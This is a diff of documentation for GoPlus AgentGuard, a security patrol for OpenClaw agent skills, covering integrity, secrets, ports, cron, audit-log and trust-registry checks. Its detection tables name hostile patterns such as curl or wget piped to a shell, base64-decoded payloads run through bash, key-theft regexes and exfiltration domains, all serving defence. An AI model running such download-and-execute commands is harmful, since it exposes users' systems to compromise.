+ **Steps**:
320
+ 1. Read `~/.agentguard/audit.jsonl`, filter to last 24h by timestamp
321
+ 2. Compute statistics: total events, deny/confirm/allow counts, group denials by `risk_tags` and `initiating_skill`
322
+ 3. Flag patterns:
323
+ - Same skill denied 3+ times → potential attack (HIGH)
324
+ - Any event with `risk_level: critical` → (CRITICAL)
325
+ - `WEBHOOK_EXFIL` or `NET_EXFIL_UNRESTRICTED` tags → (HIGH)
326
+ - `PROMPT_INJECTION` tag → (CRITICAL)
327
+ 4. For skills with high deny rates still not revoked: recommend `/agentguard trust revoke`
328
+
329
+ #### [7] Environment & Configuration
330
+
331
+ Verify security configuration is production-appropriate.
332
+
333
+ **Steps**:
334
+ 1. List environment variables matching sensitive names (values masked): `API_KEY`, `SECRET`, `PASSWORD`, `TOKEN`, `PRIVATE`, `CREDENTIAL`
335
+ 2. Check if `GOPLUS_API_KEY`/`GOPLUS_API_SECRET` are configured (if Web3 features are in use)
336
+ 3. Read `~/.agentguard/config.json` — flag `permissive` protection level in production
337
+ 4. If `$OC/.config-baseline.sha256` exists, verify: `sha256sum -c $OC/.config-baseline.sha256`
338
+
339
+ #### [8] Trust Registry Health
340
+
341
+ Check for expired, stale, or over-privileged trust records.
342
+
343
+ **Steps**:
344
+ 1. List all records: `node scripts/trust-cli.ts list`
345
+ 2. Flag:
346
+ - Expired attestations (`expires_at` in the past)
347
+ - Trusted skills not re-scanned in 30+ days
348
+ - Installed skills with `untrusted` status
349
+ - Over-privileged skills: `exec: allow` combined with `network_allowlist: ["*"]`
350
+ 3. Output registry statistics: total records, distribution by trust level
351
+
352
+ ### Patrol Report Format
353
+
354
+ ```
355
+ ## GoPlus AgentGuard Patrol Report
356
+
357
+ **Timestamp**: <ISO datetime>
358
+ **OpenClaw Home**: <$OC path>
359
+ **Protection Level**: <current level>
360
+ **Overall Status**: PASS | WARN | FAIL
361
+
362
+ ### Check Results
363
+
364
+ | # | Check | Status | Findings | Severity |
365
+ |---|-------|--------|----------|----------|
366
+ | 1 | Skill/Plugin Integrity | PASS/WARN/FAIL | <count> | <highest> |
367
+ | 2 | Secrets Exposure | ... | ... | ... |
368
+ | 3 | Network Exposure | ... | ... | ... |
369
+ | 4 | Cron & Scheduled Tasks | ... | ... | ... |
370
+ | 5 | File System Changes | ... | ... | ... |
371
+ | 6 | Audit Log Analysis | ... | ... | ... |
372
+ | 7 | Environment & Config | ... | ... | ... |
373
+ | 8 | Trust Registry Health | ... | ... | ... |
374
+
375
+ ### Findings Detail
376
+ (only checks with findings are shown)
377
+
378
+ #### [N] Check Name
379
+ - <finding with file path, evidence, and severity>
380
+
381
+ ### Recommendations
382
+ 1. [SEVERITY] <actionable recommendation>
383
+
384
+ ### Next Patrol
385
+ <Cron schedule if configured, or suggest: /agentguard patrol setup>
386
+ ```
387
+
388
+ **Overall status**: Any CRITICAL → **FAIL**, any HIGH → **WARN**, else **PASS**
389
+
390
+ After outputting the report, append a summary entry to `~/.agentguard/audit.jsonl`:
391
+ ```json
392
+ {"timestamp":"...","event":"patrol","overall_status":"PASS|WARN|FAIL","checks":8,"findings":<count>,"critical":<count>,"high":<count>}
393
+ ```
394
+
395
+ ### patrol setup
396
+
397
+ Configure the patrol as an OpenClaw daily cron job.
398
+
399
+ **Steps**:
400
+
401
+ 1. Verify OpenClaw environment (same pre-flight as `patrol run`)
402
+ 2. Ask the user for:
403
+ - **Timezone** (default: UTC). Examples: `Asia/Shanghai`, `America/New_York`, `Europe/London`
404
+ - **Schedule** (default: `0 3 * * *` — daily at 03:00)
405
+ - **Notification channel** (optional): `telegram`, `discord`, `signal`
406
+ - **Chat ID / webhook** (required if channel is set)
407
+ 3. Generate the cron registration command:
408
+
409
+ ```bash
410
+ openclaw cron add \
411
+ --name "agentguard-patrol" \
412
+ --description "GoPlus AgentGuard daily security patrol" \
413
+ --cron "<schedule>" \
414
+ --tz "<timezone>" \
415
+ --session "isolated" \
416
+ --message "/agentguard patrol run" \
417
+ --timeout-seconds 300 \
418
+ --thinking off \
419
+ # Only include these if notification is configured:
420
+ --announce \
421
+ --channel <channel> \
422
+ --to <chat-id>
423
+ ```
424
+
425
+ 4. **Show the exact command to the user and wait for explicit confirmation** before executing
426
+ 5. After execution, verify with `openclaw cron list`
427
+ 6. Output confirmation with the cron schedule
428
+
429
+ > **Note**: `--timeout-seconds 300` is required because isolated sessions need cold-start time. The default 120s is not enough.
430
+
431
+ ### patrol status
432
+
433
+ Show the current patrol state.
434
+
435
+ **Steps**:
436
+
437
+ 1. Read `~/.agentguard/audit.jsonl`, find the most recent `event: "patrol"` entry
438
+ 2. If found, display: timestamp, overall status, finding counts
439
+ 3. Run `openclaw cron list` and look for `agentguard-patrol` job
440
+ 4. If cron is configured, show: schedule, timezone, last run time, next run time
441
+ 5. If cron is not configured, suggest: `/agentguard patrol setup`
442
+
443
+ ---
444
+
445
+ # Trust & Configuration
446
+
223
447
  ## Subcommand: trust
224
448
 
225
449
  Manage skill trust levels using the GoPlus AgentGuard registry.
@@ -280,6 +504,35 @@ If scripts are not available, help the user inspect `data/registry.json` directl
280
504
 
281
505
  ---
282
506
 
507
+ ## Subcommand: config
508
+
509
+ Set the GoPlus AgentGuard protection level.
510
+
511
+ ### Protection Levels
512
+
513
+ | Level | Behavior |
514
+ |-------|----------|
515
+ | `strict` | Block all risky actions — every dangerous or suspicious command is denied |
516
+ | `balanced` | Block dangerous, confirm risky — default level, good for daily use |
517
+ | `permissive` | Only block critical threats — for experienced users who want minimal friction |
518
+
519
+ ### How to Set
520
+
521
+ 1. Read `$ARGUMENTS` to get the desired level
522
+ 2. Write the config to `~/.agentguard/config.json`:
523
+
524
+ ```json
525
+ {"level": "balanced"}
526
+ ```
527
+
528
+ 3. Confirm the change to the user
529
+
530
+ If no level is specified, read and display the current config.
531
+
532
+ ---
533
+
534
+ # Reporting
535
+
283
536
  ## Subcommand: report
284
537
 
285
538
  Display recent security events from the GoPlus AgentGuard audit log.
@@ -335,34 +588,7 @@ If the log file doesn't exist, inform the user that no security events have been
335
588
 
336
589
  ---
337
590
 
338
- ## Subcommand: config
339
-
340
- Set the GoPlus AgentGuard protection level.
341
-
342
- ### Protection Levels
343
-
344
- | Level | Behavior |
345
- |-------|----------|
346
- | `strict` | Block all risky actions — every dangerous or suspicious command is denied |
347
- | `balanced` | Block dangerous, confirm risky — default level, good for daily use |
348
- | `permissive` | Only block critical threats — for experienced users who want minimal friction |
349
-
350
- ### How to Set
351
-
352
- 1. Read `$ARGUMENTS` to get the desired level
353
- 2. Write the config to `~/.agentguard/config.json`:
354
-
355
- ```json
356
- {"level": "balanced"}
357
- ```
358
-
359
- 3. Confirm the change to the user
360
-
361
- If no level is specified, read and display the current config.
362
-
363
- ---
364
-
365
- ## Auto-Scan on Session Start (Opt-In)
591
+ # Auto-Scan on Session Start (Opt-In)
366
592
 
367
593
  AgentGuard can optionally scan installed skills at session startup. **This is disabled by default** and must be explicitly enabled:
368
594
 
@@ -0,0 +1,334 @@
1
+ # Patrol Check Reference — OpenClaw Daily Security Patrol
2
+
3
+ Detailed commands, patterns, and thresholds for the 8 patrol checks. This document is the reference for the `patrol` subcommand.
4
+
5
+ **Path convention**: `$OC` = `${OPENCLAW_STATE_DIR:-$HOME/.openclaw}`
6
+
7
+ ---
8
+
9
+ ## Check 1: Skill/Plugin Integrity
10
+
11
+ **Purpose**: Detect tampered, unregistered, or drifted skill packages.
12
+
13
+ ### Steps
14
+
15
+ 1. Discover skill directories:
16
+ ```bash
17
+ ls -d $OC/skills/*/ ~/.openclaw/skills/*/ 2>/dev/null
18
+ ```
19
+ Each directory containing a `SKILL.md` is a skill.
20
+
21
+ 2. For each skill, compute hash:
22
+ ```bash
23
+ node scripts/trust-cli.ts hash --path <skill_dir>
24
+ ```
25
+
26
+ 3. Look up attested hash in trust registry:
27
+ ```bash
28
+ node scripts/trust-cli.ts lookup --source <skill_dir> --version <version>
29
+ ```
30
+
31
+ 4. Compare hashes. If mismatch, run quick re-scan:
32
+ ```bash
33
+ # Use Grep + scan rules on the skill directory (same as /agentguard scan)
34
+ ```
35
+
36
+ ### Findings
37
+
38
+ | Tag | Severity | Condition |
39
+ |-----|----------|-----------|
40
+ | `INTEGRITY_DRIFT` | HIGH | Computed hash differs from attested hash |
41
+ | `UNREGISTERED_SKILL` | MEDIUM | Skill directory exists but has no trust record |
42
+ | `NEWLY_CRITICAL` | CRITICAL | Re-scan of drifted skill finds CRITICAL findings |
43
+
44
+ ---
45
+
46
+ ## Check 2: Secrets Exposure
47
+
48
+ **Purpose**: Detect plaintext secrets leaked in workspace files, memory logs, and sensitive directories.
49
+
50
+ ### Scan Targets
51
+
52
+ | Path | Scope |
53
+ |------|-------|
54
+ | `$OC/workspace/` | Full recursive (especially `memory/`, `logs/`) |
55
+ | `$OC/.env*` | Any dotenv files in OC root |
56
+ | `~/.ssh/` | Permission check only |
57
+ | `~/.gnupg/` | Permission check only |
58
+
59
+ ### Patterns (cross-ref scan-rules.md)
60
+
61
+ | Rule ID | Tag | Pattern Summary |
62
+ |---------|-----|-----------------|
63
+ | Rule 7 | PRIVATE_KEY_PATTERN | `['"\x60]0x[a-fA-F0-9]{64}['"\x60]`, `private[_\s]?key\s*[:=]` |
64
+ | Rule 8 | MNEMONIC_PATTERN | 12/24 BIP-39 words, `seed[_\s]?phrase`, `mnemonic\s*[:=]` |
65
+ | Rule 5 | READ_SSH_KEYS | `\.ssh/id_rsa`, `\.ssh/id_ed25519` in workspace files |
66
+
67
+ ### Additional Patterns (cross-ref action-policies.md)
68
+
69
+ | Type | Pattern | Severity |
70
+ |------|---------|----------|
71
+ | AWS Secret Key | `[A-Za-z0-9/+=]{40}` near AWS context | HIGH |
72
+ | AWS Access Key | `AKIA[0-9A-Z]{16}` | HIGH |
73
+ | GitHub Token | `gh[pousr]_[A-Za-z0-9_]{36,}` | HIGH |
74
+ | DB Connection String | `(postgres\|mysql\|mongodb)://` | MEDIUM |
75
+
76
+ ### Permission Checks
77
+
78
+ ```bash
79
+ # SSH directory — should be 700
80
+ stat -f "%Lp" ~/.ssh/ 2>/dev/null || stat -c "%a" ~/.ssh/ 2>/dev/null
81
+ # GnuPG — should be 700
82
+ stat -f "%Lp" ~/.gnupg/ 2>/dev/null || stat -c "%a" ~/.gnupg/ 2>/dev/null
83
+ ```
84
+
85
+ | Condition | Severity |
86
+ |-----------|----------|
87
+ | `~/.ssh/` permissions > 700 | HIGH |
88
+ | `~/.gnupg/` permissions > 700 | MEDIUM |
89
+
90
+ ---
91
+
92
+ ## Check 3: Network Exposure
93
+
94
+ **Purpose**: Detect dangerous port exposure, missing firewall, and suspicious connections.
95
+
96
+ ### Listening Ports
97
+
98
+ ```bash
99
+ # Linux
100
+ ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null
101
+ # macOS
102
+ lsof -i -P -n | grep LISTEN 2>/dev/null
103
+ ```
104
+
105
+ ### High-Risk Default Ports
106
+
107
+ Flag if bound to `0.0.0.0` or `*` (not `127.0.0.1`):
108
+
109
+ | Port | Service | Severity |
110
+ |------|---------|----------|
111
+ | 22 | SSH (default port) | MEDIUM |
112
+ | 3306 | MySQL | HIGH |
113
+ | 5432 | PostgreSQL | HIGH |
114
+ | 6379 | Redis | CRITICAL |
115
+ | 27017 | MongoDB | HIGH |
116
+ | 9200 | Elasticsearch | HIGH |
117
+ | 2375/2376 | Docker API | CRITICAL |
118
+ | 8080 | Generic HTTP | LOW |
119
+
120
+ ### Firewall Status
121
+
122
+ ```bash
123
+ # Linux (UFW)
124
+ ufw status 2>/dev/null
125
+ # Linux (iptables) — check for ACCEPT all on INPUT
126
+ iptables -L INPUT -n 2>/dev/null | head -20
127
+ # macOS
128
+ /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate 2>/dev/null
129
+ ```
130
+
131
+ | Condition | Severity |
132
+ |-----------|----------|
133
+ | Firewall disabled / inactive | HIGH |
134
+ | Redis/Docker API on 0.0.0.0 | CRITICAL |
135
+ | Database on 0.0.0.0 without auth | HIGH |
136
+ | SSH on default port 22 | MEDIUM (informational) |
137
+
138
+ ### Outbound Connection Check
139
+
140
+ ```bash
141
+ # Established outbound connections
142
+ ss -tnp state established 2>/dev/null || netstat -tnp 2>/dev/null | grep ESTABLISHED
143
+ ```
144
+
145
+ Cross-reference remote IPs/domains against:
146
+ - action-policies.md webhook/exfil domain list (Discord, Telegram, ngrok, webhook.site, etc.)
147
+ - scan-rules.md Rule 23 SUSPICIOUS_IP validation (exclude private ranges)
148
+ - action-policies.md high-risk TLDs (`.xyz`, `.top`, `.tk`, `.ml`, `.ga`, `.cf`, `.gq`)
149
+
150
+ ---
151
+
152
+ ## Check 4: Cron & Scheduled Tasks
153
+
154
+ **Purpose**: Detect malicious or unauthorized scheduled tasks, especially download-and-execute patterns.
155
+
156
+ ### Data Collection
157
+
158
+ ```bash
159
+ # OpenClaw cron jobs
160
+ openclaw cron list 2>/dev/null
161
+
162
+ # System crontab
163
+ crontab -l 2>/dev/null
164
+
165
+ # System cron directories
166
+ ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ 2>/dev/null
167
+
168
+ # Systemd timers
169
+ systemctl list-timers --all 2>/dev/null
170
+
171
+ # User systemd units
172
+ ls -la ~/.config/systemd/user/ 2>/dev/null
173
+ ```
174
+
175
+ ### Scan Patterns (cross-ref scan-rules.md Rule 2: AUTO_UPDATE)
176
+
177
+ Scan cron command bodies for:
178
+
179
+ | Pattern | Description | Severity |
180
+ |---------|-------------|----------|
181
+ | `curl.*\|\s*(bash\|sh)` | curl pipe to shell | CRITICAL |
182
+ | `wget.*\|\s*(bash\|sh)` | wget pipe to shell | CRITICAL |
183
+ | `fetch.*then.*eval` | Fetch and eval | CRITICAL |
184
+ | `download.*execute` (i) | Download-and-execute | HIGH |
185
+ | `base64 -d \| bash` | Decode and execute | CRITICAL |
186
+ | `eval "$(curl` | eval curl output | CRITICAL |
187
+
188
+ ### Additional Checks
189
+
190
+ | Condition | Severity |
191
+ |-----------|----------|
192
+ | Unknown cron job touching `$OC/` as root | HIGH |
193
+ | Cron job downloading from external URL | HIGH |
194
+ | Cron job not present in `openclaw cron list` but touches `$OC/` | MEDIUM |
195
+
196
+ ---
197
+
198
+ ## Check 5: File System Changes
199
+
200
+ **Purpose**: Detect suspicious file modifications in the last 24 hours.
201
+
202
+ ### Scan Targets
203
+
204
+ ```bash
205
+ # Files modified in last 24h
206
+ find $OC/ -type f -mtime -1 2>/dev/null
207
+ find ~/.ssh/ -type f -mtime -1 2>/dev/null
208
+ find ~/.gnupg/ -type f -mtime -1 2>/dev/null
209
+ find /etc/cron.d/ -type f -mtime -1 2>/dev/null
210
+ ```
211
+
212
+ ### Analysis
213
+
214
+ 1. **Count and list** all modified files
215
+ 2. For files matching scannable extensions (`.js`, `.ts`, `.py`, `.sh`, `.md`, `.json`, `.yaml`):
216
+ - Run the full scan rule set against each file (same rules as `/agentguard scan`)
217
+ - Report any findings with the relevant rule IDs
218
+ 3. **Permission check** on critical files:
219
+
220
+ | File | Expected Permission |
221
+ |------|-------------------|
222
+ | `$OC/openclaw.json` | 600 |
223
+ | `$OC/devices/paired.json` | 600 |
224
+ | `~/.ssh/authorized_keys` | 600 |
225
+ | `/etc/ssh/sshd_config` | 644 |
226
+
227
+ 4. **New executable detection**:
228
+ ```bash
229
+ find $OC/workspace/ -type f -perm +111 -mtime -1 2>/dev/null
230
+ ```
231
+
232
+ ---
233
+
234
+ ## Check 6: Audit Log Analysis
235
+
236
+ **Purpose**: Analyze AgentGuard's own audit trail for attack patterns and anomalies.
237
+
238
+ ### Data Source
239
+
240
+ ```
241
+ ~/.agentguard/audit.jsonl
242
+ ```
243
+
244
+ Each line: `{"timestamp":"...","tool_name":"...","decision":"...","risk_level":"...","risk_tags":[...],"initiating_skill":"..."}`
245
+
246
+ ### Analysis (last 24h)
247
+
248
+ 1. **Aggregate statistics**:
249
+ - Total events, deny count, confirm count, allow count
250
+ - Group denials by `risk_tags`
251
+ - Group denials by `initiating_skill`
252
+
253
+ 2. **Pattern detection**:
254
+
255
+ | Pattern | Condition | Severity |
256
+ |---------|-----------|----------|
257
+ | Repeated denial | Same skill denied 3+ times | HIGH |
258
+ | Critical event | Any event with `risk_level: critical` | CRITICAL |
259
+ | Exfiltration attempt | `WEBHOOK_EXFIL` or `NET_EXFIL_UNRESTRICTED` tag | HIGH |
260
+ | Prompt injection | `PROMPT_INJECTION` tag in events | CRITICAL |
261
+ | Unrevoked violator | Skill with 5+ denials still not revoked in registry | MEDIUM |
262
+
263
+ 3. **Recommendation generation**:
264
+ - For skills with high deny rates: suggest `/agentguard trust revoke`
265
+ - For critical events: suggest immediate investigation
266
+
267
+ ---
268
+
269
+ ## Check 7: Environment & Configuration
270
+
271
+ **Purpose**: Verify OpenClaw and AgentGuard configuration security.
272
+
273
+ ### Environment Variable Scan
274
+
275
+ ```bash
276
+ # List env vars with sensitive names (names only, values masked)
277
+ env | grep -iE 'API_KEY|SECRET|PASSWORD|TOKEN|PRIVATE|CREDENTIAL' | awk -F= '{print $1 "=(masked)"}'
278
+ ```
279
+
280
+ ### Configuration Checks
281
+
282
+ | Check | Command | Expected |
283
+ |-------|---------|----------|
284
+ | AgentGuard protection level | Read `~/.agentguard/config.json` | Not `permissive` for production |
285
+ | GoPlus API configured | Check `GOPLUS_API_KEY` exists | Set if Web3 features used |
286
+ | Config baseline hash | `sha256sum -c $OC/.config-baseline.sha256` | All OK (if baseline exists) |
287
+
288
+ ### Severity
289
+
290
+ | Condition | Severity |
291
+ |-----------|----------|
292
+ | Protection level = `permissive` | MEDIUM |
293
+ | Sensitive env var with `PRIVATE_KEY` or `MNEMONIC` in name | HIGH |
294
+ | Config baseline hash mismatch | HIGH |
295
+ | Config baseline missing | LOW (informational) |
296
+
297
+ ---
298
+
299
+ ## Check 8: Trust Registry Health
300
+
301
+ **Purpose**: Verify the trust registry is well-maintained and no over-privileged skills exist.
302
+
303
+ ### Data Collection
304
+
305
+ ```bash
306
+ node scripts/trust-cli.ts list
307
+ ```
308
+
309
+ ### Analysis
310
+
311
+ | Check | Condition | Severity |
312
+ |-------|-----------|----------|
313
+ | Expired attestation | `expires_at` < now | MEDIUM |
314
+ | Stale trusted skill | `trust_level: trusted` + `updated_at` > 30 days ago | LOW |
315
+ | Installed but untrusted | Skill directory exists + `trust_level: untrusted` | MEDIUM |
316
+ | Over-privileged | `exec: allow` AND `network_allowlist: ["*"]` | HIGH |
317
+ | Empty registry | No records at all despite installed skills | MEDIUM |
318
+
319
+ ### Statistics Output
320
+
321
+ - Total trust records
322
+ - Distribution: trusted / restricted / untrusted / revoked
323
+ - Skills with Web3 capabilities enabled
324
+
325
+ ---
326
+
327
+ ## Overall Status Calculation
328
+
329
+ | Condition | Status |
330
+ |-----------|--------|
331
+ | Any check has CRITICAL findings | **FAIL** |
332
+ | Any check has HIGH findings | **WARN** |
333
+ | Only MEDIUM/LOW findings | **PASS** (with notes) |
334
+ | No findings | **PASS** |
@@ -2,6 +2,6 @@
2
2
  "private": true,
3
3
  "type": "module",
4
4
  "dependencies": {
5
- "@goplus/agentguard": "file:../../.."
5
+ "@goplus/agentguard": "^1.0.6"
6
6
  }
7
7
  }